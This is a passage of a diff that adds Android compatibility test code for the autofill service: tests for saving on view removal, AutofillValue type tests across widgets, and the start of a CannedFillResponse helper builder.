+                null,
+                null,
+                "editText1");
+    }
+
+    @Test
+    public void hideOneViewToFinishSession() throws Exception {
+        removeViewsBaseTest(
+                () -> {
+                    // Do not trigger new partition when switching to editText2
+                    mEditText2.setFocusable(false);
+
+                    mEditText1.setVisibility(ViewGroup.INVISIBLE);
+                },
+                null,
+                null,
+                "editText1");
+    }
+
+    @Test
+    public void removeFragmentToFinishSession() throws Exception {
+        removeViewsBaseTest(
+                () -> mActivity.getFragmentManager().beginTransaction().remove(
+                        mFragment).commitNow(),
+                null,
+                null,
+                "editText1", "editText2");
+    }
+
+    @Test
+    public void removeParentToFinishSession() throws Exception {
+        removeViewsBaseTest(
+                () -> ((ViewGroup) mParent.getParent()).removeView(mParent),
+                null,
+                null,
+                "editText1", "editText2");
+    }
+
+    @Test
+    public void hideParentToFinishSession() throws Exception {
+        removeViewsBaseTest(
+                () -> mParent.setVisibility(ViewGroup.INVISIBLE),
+                null,
+                null,
+                "editText1", "editText2");
+    }
+
+    /**
+     * An activity that is currently getting autofilled might go into the background. While the
+     * tracked views are not visible on the screen anymore, this should not trigger a save.
+     *
+     * <p>The {@link Runnable}s are synchronously run in the UI thread.
+     */
+    private void activityToBackgroundShouldNotTriggerSave(@Nullable Runnable removeInBackGround,
+            @Nullable Runnable removeInForeGroup) throws Exception {
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFlags(SaveInfo.FLAG_SAVE_ON_ALL_VIEWS_INVISIBLE)
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, "editText1").build());
+
+        // Trigger autofill
+        mActivity.syncRunOnUiThread(() -> {
+            mEditText2.requestFocus();
+            mEditText1.requestFocus();
+        });
+
+        sReplier.getNextFillRequest();
+
+        sUiBot.assertNoDatasets();
+
+        mActivity.syncRunOnUiThread(() -> {
+            mEditText1.setText("editText1-filled");
+            mEditText2.setText("editText2-filled");
+        });
+
+        // Start activity on top
+        mActivity.startActivity(new Intent(getContext(),
+                ManualAuthenticationActivity.class));
+        mActivity.waitUntilStopped();
+
+        if (removeInBackGround != null) {
+            mActivity.syncRunOnUiThread(removeInBackGround);
+        }
+
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Remove previously started activity from top
+        sUiBot.selectById("android.autofillservice.cts:id/button");
+        mActivity.waitUntilResumed();
+
+        if (removeInForeGroup != null) {
+            sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+
+            mActivity.syncRunOnUiThread(removeInForeGroup);
+        }
+
+        // Save should be shows after all remove operations were executed
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+
+        SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertThat(findNodeByResourceId(saveRequest.structure, "editText1")
+                .getAutofillValue().getTextValue().toString()).isEqualTo("editText1-filled");
+    }
+
+    @Test
+    public void removeViewInBackground() throws Exception {
+        activityToBackgroundShouldNotTriggerSave(
+                () -> mActivity.syncRunOnUiThread(() -> {
+                    // Do not trigger new partition when switching to editText2
+                    mEditText2.setFocusable(false);
+
+                    mParent.removeView(mEditText1);
+                }),
+                null);
+    }
+
+    @Test
+    public void hideViewInBackground() throws Exception {
+        activityToBackgroundShouldNotTriggerSave(() -> {
+                    // Do not trigger new partition when switching to editText2
+                    mEditText2.setFocusable(false);
+
+                    mEditText1.setVisibility(ViewGroup.INVISIBLE);
+                },
+                null);
+    }
+
+    @Test
+    public void hideParentInBackground() throws Exception {
+        activityToBackgroundShouldNotTriggerSave(() -> mParent.setVisibility(ViewGroup.INVISIBLE),
+                null);
+    }
+
+    @Test
+    public void removeParentInBackground() throws Exception {
+        activityToBackgroundShouldNotTriggerSave(
+                () -> ((ViewGroup) mParent.getParent()).removeView(mParent),
+                null);
+    }
+
+    @Test
+    public void removeViewAfterBackground() throws Exception {
+        activityToBackgroundShouldNotTriggerSave(() -> {
+                    // Do not trigger new fill request when closing activity
+                    mEditText1.setFocusable(false);
+                    mEditText2.setFocusable(false);
+                },
+                () -> mParent.removeView(mEditText1));
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
new file mode 100644
index 0000000..0ed3c86
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
@@ -0,0 +1,538 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.FILL_TIMEOUT_MS;
+import static android.autofillservice.cts.Helper.eventually;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.icu.util.Calendar;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+import android.support.test.rule.ActivityTestRule;
+import android.view.View;
+import android.view.autofill.AutofillValue;
+import android.widget.CompoundButton;
+import android.widget.DatePicker;
+import android.widget.EditText;
+import android.widget.RadioButton;
+import android.widget.RadioGroup;
+import android.widget.Spinner;
+import android.widget.TimePicker;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+/*
+ * TODO: refactor this class.
+ *
+ * It has 2 types of tests:
+ *  1. unit tests that asserts AutofillValue methods
+ *  2. integrationg tests that uses a the InstrumentedAutofillService
+ *
+ *  The unit tests (createXxxx*() should either be moved to the CtsViewTestCases module or to a
+ *  class that does not need to extend AutoFillServiceTestCase.
+ *
+ *  Most integration tests overlap the tests on CheckoutActivityTest - we should remove the
+ *  redundant tests and add more tests (like triggering autofill using different views) to
+ *  CheckoutActivityTest.
+ */
+public class AutofillValueTest extends AutoFillServiceTestCase {
+    @Rule
+    public final ActivityTestRule<AllAutofillableViewsActivity> mActivityRule =
+            new ActivityTestRule<>(AllAutofillableViewsActivity.class);
+
+    private AllAutofillableViewsActivity mActivity;
+    private EditText mEditText;
+    private CompoundButton mCompoundButton;
+    private RadioGroup mRadioGroup;
+    private RadioButton mRadioButton1;
+    private RadioButton mRadioButton2;
+    private Spinner mSpinner;
+    private DatePicker mDatePicker;
+    private TimePicker mTimePicker;
+
+    @Before
+    public void setFields() {
+        mActivity = mActivityRule.getActivity();
+
+        mEditText = (EditText) mActivity.findViewById(R.id.editText);
+        mCompoundButton = (CompoundButton) mActivity.findViewById(R.id.compoundButton);
+        mRadioGroup = (RadioGroup) mActivity.findViewById(R.id.radioGroup);
+        mRadioButton1 = (RadioButton) mActivity.findViewById(R.id.radioButton1);
+        mRadioButton2 = (RadioButton) mActivity.findViewById(R.id.radioButton2);
+        mSpinner = (Spinner) mActivity.findViewById(R.id.spinner);
+        mDatePicker = (DatePicker) mActivity.findViewById(R.id.datePicker);
+        mTimePicker = (TimePicker) mActivity.findViewById(R.id.timePicker);
+    }
+
+    @Test
+    public void createTextValue() throws Exception {
+        assertThat(AutofillValue.forText(null)).isNull();
+
+        assertThat(AutofillValue.forText("").isText()).isTrue();
+        assertThat(AutofillValue.forText("").isToggle()).isFalse();
+        assertThat(AutofillValue.forText("").isList()).isFalse();
+        assertThat(AutofillValue.forText("").isDate()).isFalse();
+
+        AutofillValue emptyV = AutofillValue.forText("");
+        assertThat(emptyV.getTextValue().toString()).isEqualTo("");
+
+        final AutofillValue v = AutofillValue.forText("someText");
+        assertThat(v.getTextValue()).isEqualTo("someText");
+
+        assertThrows(IllegalStateException.class, v::getToggleValue);
+        assertThrows(IllegalStateException.class, v::getListValue);
+        assertThrows(IllegalStateException.class, v::getDateValue);
+    }
+
+    @Test
+    public void createToggleValue() throws Exception {
+        assertThat(AutofillValue.forToggle(true).getToggleValue()).isTrue();
+        assertThat(AutofillValue.forToggle(false).getToggleValue()).isFalse();
+
+        assertThat(AutofillValue.forToggle(true).isText()).isFalse();
+        assertThat(AutofillValue.forToggle(true).isToggle()).isTrue();
+        assertThat(AutofillValue.forToggle(true).isList()).isFalse();
+        assertThat(AutofillValue.forToggle(true).isDate()).isFalse();
+
+
+        final AutofillValue v = AutofillValue.forToggle(true);
+
+        assertThrows(IllegalStateException.class, v::getTextValue);
+        assertThrows(IllegalStateException.class, v::getListValue);
+        assertThrows(IllegalStateException.class, v::getDateValue);
+    }
+
+    @Test
+    public void createListValue() throws Exception {
+        assertThat(AutofillValue.forList(-1).getListValue()).isEqualTo(-1);
+        assertThat(AutofillValue.forList(0).getListValue()).isEqualTo(0);
+        assertThat(AutofillValue.forList(1).getListValue()).isEqualTo(1);
+
+        assertThat(AutofillValue.forList(0).isText()).isFalse();
+        assertThat(AutofillValue.forList(0).isToggle()).isFalse();
+        assertThat(AutofillValue.forList(0).isList()).isTrue();
+        assertThat(AutofillValue.forList(0).isDate()).isFalse();
+
+        final AutofillValue v = AutofillValue.forList(0);
+
+        assertThrows(IllegalStateException.class, v::getTextValue);
+        assertThrows(IllegalStateException.class, v::getToggleValue);
+        assertThrows(IllegalStateException.class, v::getDateValue);
+    }
+
+    @Test
+    public void createDateValue() throws Exception {
+        assertThat(AutofillValue.forDate(-1).getDateValue()).isEqualTo(-1);
+        assertThat(AutofillValue.forDate(0).getDateValue()).isEqualTo(0);
+        assertThat(AutofillValue.forDate(1).getDateValue()).isEqualTo(1);
+
+        assertThat(AutofillValue.forDate(0).isText()).isFalse();
+        assertThat(AutofillValue.forDate(0).isToggle()).isFalse();
+        assertThat(AutofillValue.forDate(0).isList()).isFalse();
+        assertThat(AutofillValue.forDate(0).isDate()).isTrue();
+
+        final AutofillValue v = AutofillValue.forDate(0);
+
+        assertThrows(IllegalStateException.class, v::getTextValue);
+        assertThrows(IllegalStateException.class, v::getToggleValue);
+        assertThrows(IllegalStateException.class, v::getListValue);
+    }
+
+    /**
+     * Trigger autofill on a view.
+     *
+     * @param view The view to trigger the autofill on
+     */
+    private void startAutoFill(@NonNull View view) throws Exception {
+        mActivity.syncRunOnUiThread(() -> {
+            view.clearFocus();
+            view.requestFocus();
+        });
+
+        sReplier.getNextFillRequest();
+    }
+
+    private void autofillEditText(@Nullable AutofillValue value, String expectedText,
+            boolean expectAutoFill) throws Exception {
+        mActivity.syncRunOnUiThread(() -> mEditText.setVisibility(View.VISIBLE));
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+                .setField("editText", value)
+                .setPresentation(createPresentation("dataset"))
+                .build());
+        OneTimeTextWatcher textWatcher = new OneTimeTextWatcher("editText", mEditText,
+                expectedText);
+        mEditText.addTextChangedListener(textWatcher);
+
+        // Trigger autofill.
+        startAutoFill(mEditText);
+
+        // Autofill it.
+        sUiBot.selectDataset("dataset");
+
+        if (expectAutoFill) {
+            // Check the results.
+            textWatcher.assertAutoFilled();
+        } else {
+            assertThat(mEditText.getText().toString()).isEqualTo(expectedText);
+        }
+    }
+
+    @Test
+    public void autofillValidTextValue() throws Exception {
+        autofillEditText(AutofillValue.forText("filled"), "filled", true);
+    }
+
+    @Test
+    public void autofillEmptyTextValue() throws Exception {
+        autofillEditText(AutofillValue.forText(""), "", true);
+    }
+
+    @Test
+    public void autofillTextWithListValue() throws Exception {
+        autofillEditText(AutofillValue.forList(0), "", false);
+    }
+
+    @Test
+    public void getEditTextAutoFillValue() throws Exception {
+        mActivity.syncRunOnUiThread(() -> mEditText.setText("test"));
+        assertThat(mEditText.getAutofillValue()).isEqualTo(AutofillValue.forText("test"));
+
+        mActivity.syncRunOnUiThread(() -> mEditText.setEnabled(false));
+        assertThat(mEditText.getAutofillValue()).isNull();
+    }
+
+    private void autofillCompoundButton(@Nullable AutofillValue value, boolean expectedValue,
+            boolean expectAutoFill) throws Exception {
+        mActivity.syncRunOnUiThread(() -> mCompoundButton.setVisibility(View.VISIBLE));
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+                .setField("compoundButton", value)
+                .setPresentation(createPresentation("dataset"))
+                .build());
+        OneTimeCompoundButtonListener checkedWatcher = new OneTimeCompoundButtonListener(
+                    "compoundButton", mCompoundButton, expectedValue);
+        mCompoundButton.setOnCheckedChangeListener(checkedWatcher);
+
+        startAutoFill(mCompoundButton);
+
+        // Autofill it.
+        sUiBot.selectDataset("dataset");
+
+        if (expectAutoFill) {
+            // Check the results.
+            checkedWatcher.assertAutoFilled();
+        } else {
+            assertThat(mCompoundButton.isChecked()).isEqualTo(expectedValue);
+        }
+    }
+
+    @Test
+    public void autofillToggleValueWithTrue() throws Exception {
+        autofillCompoundButton(AutofillValue.forToggle(true), true, true);
+    }
+
+    @Test
+    public void autofillToggleValueWithFalse() throws Exception {
+        autofillCompoundButton(AutofillValue.forToggle(false), false, false);
+    }
+
+    @Test
+    public void autofillCompoundButtonWithTextValue() throws Exception {
+        autofillCompoundButton(AutofillValue.forText(""), false, false);
+    }
+
+    @Test
+    public void getCompoundButtonAutoFillValue() throws Exception {
+        mActivity.syncRunOnUiThread(() -> mCompoundButton.setChecked(true));
+        assertThat(mCompoundButton.getAutofillValue()).isEqualTo(AutofillValue.forToggle(true));
+
+        mActivity.syncRunOnUiThread(() -> mCompoundButton.setEnabled(false));
+        assertThat(mCompoundButton.getAutofillValue()).isNull();
+    }
+
+    private void autofillListValue(@Nullable AutofillValue value, int expectedValue,
+            boolean expectAutoFill) throws Exception {
+        mActivity.syncRunOnUiThread(() -> mSpinner.setVisibility(View.VISIBLE));
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+                .setField("spinner", value)
+                .setPresentation(createPresentation("dataset"))
+                .build());
+        OneTimeSpinnerListener spinnerWatcher = new OneTimeSpinnerListener(
+                "spinner", mSpinner, expectedValue);
+        mSpinner.setOnItemSelectedListener(spinnerWatcher);
+
+        startAutoFill(mSpinner);
+
+        // Autofill it.
+        sUiBot.selectDataset("dataset");
+
+        if (expectAutoFill) {
+            // Check the results.
+            spinnerWatcher.assertAutoFilled();
+        } else {
+            assertThat(mSpinner.getSelectedItemPosition()).isEqualTo(expectedValue);
+        }
+    }
+
+    @Test
+    public void autofillZeroListValueToSpinner() throws Exception {
+        autofillListValue(AutofillValue.forList(0), 0, false);
+    }
+
+    @Test
+    public void autofillOneListValueToSpinner() throws Exception {
+        autofillListValue(AutofillValue.forList(1), 1, true);
+    }
+
+    @Test
+    public void autofillInvalidListValueToSpinner() throws Exception {
+        autofillListValue(AutofillValue.forList(-1), 0, false);
+    }
+
+    @Test
+    public void autofillSpinnerWithTextValue() throws Exception {
+        autofillListValue(AutofillValue.forText(""), 0, false);
+    }
+
+    @Test
+    public void getSpinnerAutoFillValue() throws Exception {
+        mActivity.syncRunOnUiThread(() -> mSpinner.setSelection(1));
+        assertThat(mSpinner.getAutofillValue()).isEqualTo(AutofillValue.forList(1));
+
+        mActivity.syncRunOnUiThread(() -> mSpinner.setEnabled(false));
+        assertThat(mSpinner.getAutofillValue()).isNull();
+    }
+
+    private void autofillDateValueToDatePicker(@Nullable AutofillValue value,
+            boolean expectAutoFill) throws Exception {
+        mActivity.syncRunOnUiThread(() -> {
+            mEditText.setVisibility(View.VISIBLE);
+            mDatePicker.setVisibility(View.VISIBLE);
+        });
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+                .setField("datePicker", value)
+                .setField("editText", "filled")
+                .setPresentation(createPresentation("dataset"))
+                .build());
+        OneTimeDateListener dateWatcher = new OneTimeDateListener("datePicker", mDatePicker,
+                2017, 3, 7);
+        mDatePicker.setOnDateChangedListener(dateWatcher);
+
+        int nonAutofilledYear = mDatePicker.getYear();
+        int nonAutofilledMonth = mDatePicker.getMonth();
+        int nonAutofilledDay = mDatePicker.getDayOfMonth();
+
+        // Trigger autofill.
+        startAutoFill(mEditText);
+
+        // Autofill it.
+        sUiBot.selectDataset("dataset");
+
+        if (expectAutoFill) {
+            // Check the results.
+            dateWatcher.assertAutoFilled();
+        } else {
+            Helper.assertDateValue(mDatePicker, nonAutofilledYear, nonAutofilledMonth,
+                    nonAutofilledDay);
+        }
+    }
+
+    private long getDateAsMillis(int year, int month, int day, int hour, int minute) {
+        Calendar calendar = Calendar.getInstance(
+                mActivity.getResources().getConfiguration().getLocales().get(0));
+
+        calendar.set(year, month, day, hour, minute);
+
+        return calendar.getTimeInMillis();
+    }
+
+    @Test
+    public void autofillValidDateValueToDatePicker() throws Exception {
+        autofillDateValueToDatePicker(AutofillValue.forDate(getDateAsMillis(2017, 3, 7, 12, 32)),
+                true);
+    }
+
+    @Test
+    public void autofillDatePickerWithTextValue() throws Exception {
+        autofillDateValueToDatePicker(AutofillValue.forText(""), false);
+    }
+
+    @Test
+    public void getDatePickerAutoFillValue() throws Exception {
+        mActivity.syncRunOnUiThread(() -> mDatePicker.updateDate(2017, 3, 7));
+
+        Helper.assertDateValue(mDatePicker, 2017, 3, 7);
+
+        mActivity.syncRunOnUiThread(() -> mDatePicker.setEnabled(false));
+        assertThat(mDatePicker.getAutofillValue()).isNull();
+    }
+
+    private void autofillDateValueToTimePicker(@Nullable AutofillValue value,
+            boolean expectAutoFill) throws Exception {
+        mActivity.syncRunOnUiThread(() -> {
+            mEditText.setVisibility(View.VISIBLE);
+            mTimePicker.setIs24HourView(true);
+            mTimePicker.setVisibility(View.VISIBLE);
+        });
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+                .setField("timePicker", value)
+                .setField("editText", "filled")
+                .setPresentation(createPresentation("dataset"))
+                .build());
+        MultipleTimesTimeListener timeWatcher = new MultipleTimesTimeListener("timePicker", 2,
+                mTimePicker, 12, 32);
+        mTimePicker.setOnTimeChangedListener(timeWatcher);
+
+        int nonAutofilledHour = mTimePicker.getHour();
+        int nonAutofilledMinute = mTimePicker.getMinute();
+
+        // Trigger autofill.
+        startAutoFill(mEditText);
+
+        // Autofill it.
+        sUiBot.selectDataset("dataset");
+
+        if (expectAutoFill) {
+            // Check the results.
+            timeWatcher.assertAutoFilled();
+        } else {
+            Helper.assertTimeValue(mTimePicker, nonAutofilledHour, nonAutofilledMinute);
+        }
+    }
+
+    @Test
+    public void autofillValidDateValueToTimePicker() throws Exception {
+        autofillDateValueToTimePicker(AutofillValue.forDate(getDateAsMillis(2017, 3, 7, 12, 32)),
+                true);
+    }
+
+    @Test
+    public void autofillTimePickerWithTextValue() throws Exception {
+        autofillDateValueToTimePicker(AutofillValue.forText(""), false);
+    }
+
+    @Test
+    public void getTimePickerAutoFillValue() throws Exception {
+        mActivity.syncRunOnUiThread(() -> {
+            mTimePicker.setHour(12);
+            mTimePicker.setMinute(32);
+        });
+
+        Helper.assertTimeValue(mTimePicker, 12, 32);
+
+        mActivity.syncRunOnUiThread(() -> mTimePicker.setEnabled(false));
+        assertThat(mTimePicker.getAutofillValue()).isNull();
+    }
+
+    private void autofillRadioGroup(@Nullable AutofillValue value, int expectedValue,
+            boolean expectAutoFill) throws Exception {
+        mActivity.syncRunOnUiThread(() -> mEditText.setVisibility(View.VISIBLE));
+        mActivity.syncRunOnUiThread(() -> mRadioGroup.setVisibility(View.VISIBLE));
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+                .setField("radioGroup", value)
+                .setField("editText", "filled")
+                .setPresentation(createPresentation("dataset"))
+                .build());
+        MultipleTimesRadioGroupListener radioGroupWatcher = new MultipleTimesRadioGroupListener(
+                "radioGroup", 2, mRadioGroup, expectedValue);
+        mRadioGroup.setOnCheckedChangeListener(radioGroupWatcher);
+
+        // Trigger autofill.
+        startAutoFill(mEditText);
+
+        // Autofill it.
+        sUiBot.selectDataset("dataset");
+
+        if (expectAutoFill) {
+            // Check the results.
+            radioGroupWatcher.assertAutoFilled();
+        } else {
+            if (expectedValue == 0) {
+                assertThat(mRadioButton1.isChecked()).isEqualTo(true);
+                assertThat(mRadioButton2.isChecked()).isEqualTo(false);
+            } else {
+                assertThat(mRadioButton1.isChecked()).isEqualTo(false);
+                assertThat(mRadioButton2.isChecked()).isEqualTo(true);
+
+            }
+        }
+    }
+
+    @Test
+    public void autofillZeroListValueToRadioGroup() throws Exception {
+        autofillRadioGroup(AutofillValue.forList(0), 0, false);
+    }
+
+    @Test
+    public void autofillOneListValueToRadioGroup() throws Exception {
+        autofillRadioGroup(AutofillValue.forList(1), 1, true);
+    }
+
+    @Test
+    public void autofillInvalidListValueToRadioGroup() throws Exception {
+        autofillListValue(AutofillValue.forList(-1), 0, false);
+    }
+
+    @Test
+    public void autofillRadioGroupWithTextValue() throws Exception {
+        autofillRadioGroup(AutofillValue.forText(""), 0, false);
+    }
+
+    @Test
+    public void getRadioGroupAutoFillValue() throws Exception {
+        mActivity.syncRunOnUiThread(() -> mRadioButton2.setChecked(true));
+        assertThat(mRadioGroup.getAutofillValue()).isEqualTo(AutofillValue.forList(1));
+
+        mActivity.syncRunOnUiThread(() -> mRadioGroup.setEnabled(false));
+        assertThat(mRadioGroup.getAutofillValue()).isNull();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java b/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
new file mode 100644
index 0000000..07d4721
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
@@ -0,0 +1,449 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static android.autofillservice.cts.Helper.getAutofillIds;
+import android.app.assist.AssistStructure;
+import android.app.assist.AssistStructure.ViewNode;
+import android.content.IntentSender;
+import android.os.Bundle;
+import android.service.autofill.Dataset;
+import android.service.autofill.FillCallback;
+import android.service.autofill.FillResponse;
+import android.service.autofill.SaveInfo;
+import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillValue;
+import android.widget.RemoteViews;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.function.Function;
+
+/**
+ * Helper class used to produce a {@link FillResponse} based on expected fields that should be
+ * present in the {@link AssistStructure}.
+ *
+ * <p>Typical usage:
+ *
+ * <pre class="prettyprint">
+ * InstrumentedAutoFillService.setFillResponse(new CannedFillResponse.Builder()
+ *               .addDataset(new CannedDataset.Builder("dataset_name")
+ *                   .setField("resource_id1", AutofillValue.forText("value1"))
+ *                   .setField("resource_id2", AutofillValue.forText("value2"))
+ *                   .build())
+ *               .build());
+ * </pre class="prettyprint">
+ */
+final class CannedFillResponse {
+
+    private final ResponseType mResponseType;
+    private final List<CannedDataset> mDatasets;
+    private final String mFailureMessage;
+    private final int mSaveType;
+    private final String[] mRequiredSavableIds;
+    private final String[] mOptionalSavableIds;
+    private final String mSaveDescription;
+    private final Bundle mExtras;
+    private final RemoteViews mPresentation;
+    private final IntentSender mAuthentication;
+    private final String[] mAuthenticationIds;
+    private final String[] mIgnoredIds;
+    private final int mNegativeActionStyle;
+    private final IntentSender mNegativeActionListener;
+    private final int mFlags;
+
+    private CannedFillResponse(Builder builder) {
+        mResponseType = builder.mResponseType;
+        mDatasets = builder.mDatasets;
+        mFailureMessage = builder.mFailureMessage;
+        mRequiredSavableIds = builder.mRequiredSavableIds;
+        mOptionalSavableIds = builder.mOptionalSavableIds;
+        mSaveDescription = builder.mSaveDescription;
+        mSaveType = builder.mSaveType;
+        mExtras = builder.mExtras;
+        mPresentation = builder.mPresentation;
+        mAuthentication = builder.mAuthentication;
+        mAuthenticationIds = builder.mAuthenticationIds;
+        mIgnoredIds = builder.mIgnoredIds;
+        mNegativeActionStyle = builder.mNegativeActionStyle;
+        mNegativeActionListener = builder.mNegativeActionListener;
+        mFlags = builder.mFlags;
+    }
+
+    /**
+     * Constant used to pass a {@code null} response to the
+     * {@link FillCallback#onSuccess(FillResponse)} method.
+     */
+    static final CannedFillResponse NO_RESPONSE =
+            new Builder(ResponseType.NULL).build();
+
+    /**
+     * Constant used to emulate a timeout by not calling any method on {@link FillCallback}.
+     */
+    static final CannedFillResponse DO_NOT_REPLY_RESPONSE =
+            new Builder(ResponseType.TIMEOUT).build();
+
+
+    String getFailureMessage() {
+        return mFailureMessage;
+    }
+
+    ResponseType getResponseType() {
+        return mResponseType;
+    }
+
+    /**
+     * Creates a new response, replacing the dataset field ids by the real ids from the assist
+     * structure.
+     */
+    FillResponse asFillResponse(Function<String, ViewNode> nodeResolver) {
+        final FillResponse.Builder builder = new FillResponse.Builder();
+        if (mDatasets != null) {
+            for (CannedDataset cannedDataset : mDatasets) {
+                final Dataset dataset = cannedDataset.asDataset(nodeResolver);
+                assertWithMessage("Cannot create datase").that(dataset).isNotNull();
+                builder.addDataset(dataset);
+            }
+        }
+        if (mRequiredSavableIds != null) {
+            final SaveInfo.Builder saveInfo = new SaveInfo.Builder(mSaveType,
+                    getAutofillIds(nodeResolver, mRequiredSavableIds));
+
+            saveInfo.setFlags(mFlags);
+
+            if (mOptionalSavableIds != null) {
+                saveInfo.setOptionalIds(getAutofillIds(nodeResolver, mOptionalSavableIds));
+            }
+            if (mSaveDescription != null) {
+                saveInfo.setDescription(mSaveDescription);
+            }
+            saveInfo.setNegativeAction(mNegativeActionStyle, mNegativeActionListener);
+            builder.setSaveInfo(saveInfo.build());
+        }
+        if (mIgnoredIds != null) {
+            builder.setIgnoredIds(getAutofillIds(nodeResolver, mIgnoredIds));
+        }
+        if (mAuthenticationIds != null) {
+            builder.setAuthentication(getAutofillIds(nodeResolver, mAuthenticationIds),
+                    mAuthentication, mPresentation);
+        }
+        return builder
+                .setClientState(mExtras)
+                .build();
+    }
+
+    @Override
+    public String toString() {
+        return "CannedFillResponse: [type=" + mResponseType
+                + ",datasets=" + mDatasets
+                + ", requiredSavableIds=" + Arrays.toString(mRequiredSavableIds)
+                + ", optionalSavableIds=" + Arrays.toString(mOptionalSavableIds)
+                + ", flags=" + mFlags
+                + ", failureMessage=" + mFailureMessage
+                + ", saveDescription=" + mSaveDescription
+                + ", hasPresentation=" + (mPresentation != null)
+                + ", hasAuthentication=" + (mAuthentication != null)
+                + ", authenticationIds=" + Arrays.toString(mAuthenticationIds)
+                + ", ignoredIds=" + Arrays.toString(mIgnoredIds)
+                + "]";
+    }
+
+    enum ResponseType {
+        NORMAL,
+        NULL,
+        TIMEOUT
+    }
+
+    static class Builder {
+        private final List<CannedDataset> mDatasets = new ArrayList<>();
+        private final ResponseType mResponseType;
+        private String mFailureMessage;
+        private String[] mRequiredSavableIds;
+        private String[] mOptionalSavableIds;
+        private String mSaveDescription;
+        public int mSaveType = -1;
+        private Bundle mExtras;
+        private RemoteViews mPresentation;
+        private IntentSender mAuthentication;
+        private String[] mAuthenticationIds;
+        private String[] mIgnoredIds;
+        private int mNegativeActionStyle;
+        private IntentSender mNegativeActionListener;
+        private int mFlags;
+
+        public Builder(ResponseType type) {
+            mResponseType = type;
+        }
+
+        public Builder() {
+            this(ResponseType.NORMAL);
+        }
+
+        public Builder addDataset(CannedDataset dataset) {
+            assertWithMessage("already set failure").that(mFailureMessage).isNull();
+            mDatasets.add(dataset);
+            return this;
+        }
+
+        /**
+         * Sets the required savable ids based on they {@code resourceId}.
+         */
+        public Builder setRequiredSavableIds(int type, String... ids) {
+            mSaveType = type;
+            mRequiredSavableIds = ids;
+            return this;
+        }
+
+        public Builder setFlags(int flags) {
+            mFlags = flags;
+            return this;
+        }
+
+        /**
+         * Sets the optional savable ids based on they {@code resourceId}.
+         */
+        public Builder setOptionalSavableIds(String... ids) {
+            mOptionalSavableIds = ids;
+            return this;
+        }
+
+        /**
+         * Sets the description passed to the {@link SaveInfo}.
+         */
+        public Builder setSaveDescription(String description) {
+            mSaveDescription = description;
+            return this;
+        }
+
+        /**
+         * Sets the extra passed to {@link
+         * android.service.autofill.FillResponse.Builder#setClientState(Bundle)}.
+         */
+        public Builder setExtras(Bundle data) {
+            mExtras = data;
+            return this;
+        }
+
+        /**
+         * Sets the view to present the response in the UI.
+         */
+        public Builder setPresentation(RemoteViews presentation) {
+            mPresentation = presentation;
+            return this;
+        }
+
+        /**
+         * Sets the authentication intent.
+         */
+        public Builder setAuthentication(IntentSender authentication, String... ids) {
+            mAuthenticationIds = ids;
+            mAuthentication = authentication;
+            return this;
+        }
+
+        /**
+         * Sets the ignored fields based on resource ids.
+         */
+        public Builder setIgnoreFields(String...ids) {
+            mIgnoredIds = ids;
+            return this;
+        }
+
+        /**
+         * Sets the negative action spec.
+         */
+        public Builder setNegativeAction(int style, IntentSender listener) {
+            mNegativeActionStyle = style;
+            mNegativeActionListener = listener;
+            return this;
+        }
+
+        public CannedFillResponse build() {
+            return new CannedFillResponse(this);
+        }
+
+        /**
+         * Sets the response to call {@link FillCallback#onFailure(CharSequence)}.
+         */
